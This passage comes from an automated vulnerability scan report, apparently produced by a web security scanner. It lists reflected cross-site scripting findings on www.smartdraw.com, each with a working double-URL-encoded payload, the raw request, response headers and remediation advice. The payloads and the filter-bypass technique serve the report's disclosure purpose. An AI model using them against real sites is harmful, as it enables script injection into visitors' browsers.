There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /training68b35%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d2a8b1b996b/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=1y4wau550cpob2bb3amrf145; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8767 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc351%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252246b2268b321 was submitted in the REST URL parameter 1. This input was echoed as fc351"style="x:expression(alert(1))"46b2268b321 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /fc351%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252246b2268b321/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:59 GMT Content-Length: 8711 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: ASP.NET_SessionId=twmrveyjx5im0l30e30blh45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f20b1%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252235c6b1442fc was submitted in the REST URL parameter 2. This input was echoed as f20b1"style="x:expression(alert(1))"35c6b1442fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /training/x22f20b1%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252235c6b1442fc HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:30:06 GMT Content-Length: 8767 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: ASP.NET_SessionId=b52255als5xnh545vc0uboia; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:30:06 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fc3f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522219d68a09ec was submitted in the REST URL parameter 2. This input was echoed as 5fc3f"style="x:expression(alert(1))"219d68a09ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /training/5fc3f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522219d68a09ec HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:30:10 GMT Content-Length: 8746 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: ASP.NET_SessionId=wufgse55k2kojwaw3jekff45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:30:10 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.207. http://www.smartdraw.com/training/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/training/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccf51"style%3d"x%3aexpression(alert(1))"a72e20bf002 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ccf51"style="x:expression(alert(1))"a72e20bf002 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /training/x22?ccf51"style%3d"x%3aexpression(alert(1))"a72e20bf002=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: ASP.NET_SessionId=fd1day3lcgnbupjb3jzkvr55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8788 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.208. http://www.smartdraw.com/training/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/training/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4b27"style%3d"x%3aexpression(alert(1))"b6d7f14376 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e4b27"style="x:expression(alert(1))"b6d7f14376 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /training/x22?e4b27"style%3d"x%3aexpression(alert(1))"b6d7f14376=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=4jdjcurlf30fkz4530xla555; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8781 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 579d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e136f2be723b was submitted in the REST URL parameter 3. This input was echoed as 579d3"><script>alert(1)</script>136f2be723b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/579d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e136f2be723b?id=340836/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:57 GMT Content-Length: 8928 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:57 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:57 GMT; path=/ Set-Cookie: ASP.NET_SessionId=fzzorg45tqhtbe455jbn02zs; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20ea8%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ea712677564 was submitted in the REST URL parameter 3. This input was echoed as 20ea8"style="x:expression(alert(1))"ea712677564 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/index.htm20ea8%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ea712677564 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:55 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:55 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ioghgr45ccy40ubwykcs3pan; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8760 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d00fd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252237b4fa705aa was submitted in the REST URL parameter 3. This input was echoed as d00fd"style="x:expression(alert(1))"37b4fa705aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/d00fd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252237b4fa705aa HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: ASP.NET_SessionId=iffsvl2yty0fiq3algupkl55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8767 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ebb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7f63dfd6d31 was submitted in the REST URL parameter 3. This input was echoed as 7ebb1"><script>alert(1)</script>7f63dfd6d31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/index.htm7ebb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7f63dfd6d31?id=340836/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=yawesm55knbvl4mobfmyjr2e; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8921 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f3f7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522704a7a40d17 was submitted in the REST URL parameter 1. This input was echoed as 3f3f7"style="x:expression(alert(1))"704a7a40d17 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /3f3f7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522704a7a40d17/demo/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:51 GMT Content-Length: 8746 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:51 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:51 GMT; path=/ Set-Cookie: ASP.NET_SessionId=wupmsxznbmovt155mvmvxh45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:51 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81e6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252230c796e241c was submitted in the REST URL parameter 1. This input was echoed as 81e6e"style="x:expression(alert(1))"30c796e241c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos81e6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252230c796e241c/demo/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=vgiqbgv2pky1le45ukty4wfj; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8788 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2addd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522108d415c1a was submitted in the REST URL parameter 2. This input was echoed as 2addd"style="x:expression(alert(1))"108d415c1a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/2addd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522108d415c1a/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ra0kk255lzz14izejoevse45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8753 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ca5b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221a726fc0e8 was submitted in the REST URL parameter 2. This input was echoed as 5ca5b"style="x:expression(alert(1))"1a726fc0e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo5ca5b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221a726fc0e8/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ygebeo553nhi5mztwrtyso45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8781 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 551b7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228d874867177 was submitted in the REST URL parameter 3. This input was echoed as 551b7"style="x:expression(alert(1))"8d874867177 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/x22551b7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228d874867177 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:06 GMT; path=/ Set-Cookie: ASP.NET_SessionId=gtu5y445d4j1giqdn4l3bg55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8788 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd314%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229639797b41d was submitted in the REST URL parameter 3. This input was echoed as bd314"style="x:expression(alert(1))"9639797b41d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /videos/demo/bd314%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229639797b41d HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
